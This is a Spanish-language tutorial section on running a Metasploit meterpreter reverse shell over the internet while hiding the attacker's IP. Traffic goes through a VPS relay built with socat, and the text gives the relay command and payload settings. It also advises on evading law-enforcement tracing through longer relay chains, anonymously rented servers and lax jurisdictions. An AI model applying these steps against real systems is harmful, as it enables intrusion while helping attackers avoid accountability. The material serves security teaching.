4.3.4.3. Ejemplos: payload shell reverse en Internet con ocultación IP
Si en el punto anterior se ha mostrado un ejemplo de uso de Exploit con payload tipo shell bind en WAN con todos sus inconvenientes, ahora se va a hacer un ejemplo para una shell inversa o reverse también en WAN. Ya se ha explicado en otro punto las diferencias principales entre ambos tipos de shell, siendo uno de los mayores inconvenientes de la forma reverse el exponer la IP de la máquina atacante al ser el target quien realiza una petición hacia el host (Kali Linux) para establecer el canal de comunicación, con todo lo que conlleva.
En este ejemplo se va a poner en práctica una de las formas brutas para ocultar una IP, y que en el fondo es la base de los métodos más utilizados por grupos cibercriminales para enmascarar la IP. Esta práctica ya se ha avanzado gráficamente en el punto tres del apartado de Metasploit Framework en Internet (WAN) y consiste en canalizar el tráfico de red a través de un servidor auxiliar con las herramientas adecuadas.
La forma de adquirir este servidor auxiliar es contratando algún tipo de producto que permita controlar una máquina remota. La forma más común para este tipo de servicio es el de un VPS o Servidor Virtual Privado, que consiste en una solución de alojamiento virtual compartido con unas determinadas características como son el almacenamiento y potencia de computación disponible y el Sistema Operativo. Existen otras alternativas comerciales como el Cloud Hosting o contratar un servidor dedicado, pero en cuanto a las funciones deseadas va a ser lo mismo.
Con solo poner en Google el término VPS aparecerán diferentes ofertas bastante económicas o con prueba gratuita, siendo suficiente para montar un laboratorio temporal y ejecutar la práctica. Evidentemente, estas empresas que ofrecen estos servicios suelen requerir datos personales o de empresa, motivo por el cual los grupos delictivos suelen acudir a otras fuentes para contratar como por ejemplo en los Hidden Services de la red TOR en donde es lógico obtener un anonimato completo (no por la red en sí, sino por las condiciones en la contratación de este tipo de servicios). Aun así, también es posible adquirir servicios de alojamiento para efectuar estas prácticas en otros países más laxos con la legislación penal o el requerimiento de datos privados (allá cada uno).
Una vez obtenido uno o varios servidores para canalizar el tráfico (cuanto mayor sea la cadena menos posibilidades habrá de que los agentes del orden puedan rastrear el origen) se requiere de una herramienta para enlazar las comunicaciones de red a través de los puertos habilitados para ello. Aunque existen varias, una de las más conocidas es socat. Socat como se suele decir es un Netcat mejorado, que permite establecer comunicaciones para transferencia de datos bidireccionales entre dos o más hosts, siendo muy sencillo de utilizar y disponible en los Sistemas Operativos más conocidos.
En esta práctica además se ha configurado como parámetro del payload de Metasploit LHOST un dominio generado a través de NO-IP. En el anexo de este bloque se explica cómo funciona NO-IP. Esto no significa para nada que se vaya a ocultar la IP pues al resolverse el dominio en IP mediante el protocolo DNS, el target va a reconocer a qué IP debe enviar la petición con el payload reverse. Simplemente se ha añadido para ver otra posibilidad en los payloads del Framework de Metasploit.
Ahora que ya se han descrito las herramientas que se van a emplear, se puede observar en el siguiente gráfico en que consiste la práctica y como se han dispuesto los elementos para este laboratorio en la WAN. En este caso para no entorpecer la comprensión, se va a ejecutar el payload directamente en el target tal y como se ha visto en los ejemplos de MSFvenom, aunque también se podría haber ejecutado junto a un Exploit incluyendo un proxy para ocultar la IP del atacante como en el ejemplo para payload bind (la carga útil puede indicar un host de destinación que no tiene porqué ser la del atacante, y una vez ejecutada es hacia donde el target va a realizar la petición, en el ejemplo el VPS).
Para no alargar la explicación con todos los detalles de un ataque completo, en este ejemplo se ha obviado añadir complementos de evasión de sistemas de defensa o implementar técnicas de ingeniería social con el fin de que el usuario (target) sea quien ejecute el payload. Como se observa en el gráfico, se ha añadido información enmascarada de las IP públicas utilizadas para el target, el VPS y el atacante, y que pertenecen a diferentes IPS y deben comunicarse a través de internet. También se indica la primera transición de datos hacia un servidor DNS al usar como LPORT un dominio de NO-IP (punto 1) y posteriormente como se va realizando el proceso para obtener la shell, siendo el mediador el VPS. Se indican los puertos que a diferencia de la modalidad bind, en este caso el portforwarding deberá aplicarse sobre el VPS y la máquina atacante (Kali Linux)
Los pasos a seguir para efectuar la práctica y ver cómo funcionaría en WAN el ocultamiento de IP con un payload shell reverse serían (no es necesario que sean en este orden estricto):
- Acceso y configuración del VPS: Cada empresa dedicada a ofrecer estos servicios permite acceder al control del VPS de diferentes formas que tiene que explicar en la contratación (Remote Desktop, VNC, consola KMD, etc.), incluyendo datos de usuario, contraseñas, etc. Normalmente por defecto también se puede acceder con protocolo SSH (recomendable). Es necesario inspeccionar el sistema y ver formas de acceso.
- Habilitación de puertos (Firewall) en VPS: Con esta opción se especifica para que puertos efectuar el portforwarding o no bloqueo del Firewall. Se va a habilitar alguno para configurar en el payload shell reverse como LPORT. Como se muestra en la imagen, por defecto el proveedor de VPS tiene habilitados algunos puertos (aunque no haya ningún servicio activo, como indica el escaneo con Zenmap). Para el ejemplo se va a utilizar el 5900 que aunque es específico para el protocolo VNC tampoco va a suponer ningún inconveniente al no haber ningún servicio activo.
Nota: El proveedor VPS empleado para las prácticas solo dejaba habilitar reglas de firewall en los puertos de los servicios más comunes (HTTP, FTP, etc.).
- Vincular la IP pública del VPS con dominio de NO-IP: Siguiendo las instrucciones del anexo de NO-IP, pero en esta ocasión vinculando el dominio con la IP pública del VPS.
- Generar payload shell reverse: Ahora en Kali Linux y de acuerdo a las instrucciones iniciales de la práctica, se va a generar un payload meterpreter para un host Linux (target) con formato ejecutable ELF. Como se indica en la imagen, hay que añadir el puerto habilitado que se haya escogido en el VPS (LPORT) y para el parámetro LHOST (dirección destino) en vez de añadir una IP se añade el dominio generado con NO-IP.
- Habilitar portforwarding y HANDLER Metasploit en Kali Linux: Al tratarse de una práctica en WAN con un payload reverse, será necesario habilitar una regla de puertos en el router. En este caso será el puerto 4444. Se inicia un módulo handler en Metasploit indicando la IP privada y el puerto. Como se observa, este puerto es diferente al configurado en el payload, pues la conexión no se realizará entre target y atacante directamente, sino con la mediación del VPS empleando los puertos 4444 y 5900.
- Herramienta SOCAT en VPS: Ahora sí viene la magia. Volviendo al VPS (en este caso accediendo con consola KMD) se va a crear el enlace entre este y Kali Linux con socat, estableciendo un canal de comunicación de datos bidireccional entre los dos hosts a través de los puertos indicados en los puntos anteriores. De alguna forma, es como enlazar tuberías de agua. Primero hay que descargar socat con el gestor de paquetes apt y finalmente se empleará la secuencia indicada:
Nota: Socat permite establecer canales de comunicación con otros protocolos (HTTP, SOCKAT, etc.) y dispone de más opciones. Se verán en el bloque de ocultación.
apt install socat
socat TCP4-LISTEN:<PUERTO_VPS>,fork,reuseaddr TCP4:<PUBLIC_IP_KALI>:<PORT_KALI>
- Ejecución del payload en target: Como se ha mostrado en las anteriores prácticas, se ejecuta el fichero de payload con extensión ELF para el target Linux.
Puede comprobarse con el comando netstat que el canal de comunicación para la shell se efectúa con la dirección IP pública y puerto del VPS impidiendo que se pueda rastrear de forma fácil la IP del atacante que está controlando Kali Linux:
Finalmente se obtiene la shell (sesión de meterpreter). Los datos de la comunicación en el handler también muestran que la comunicación se está efectuando entre el VPS y Kali Linux:
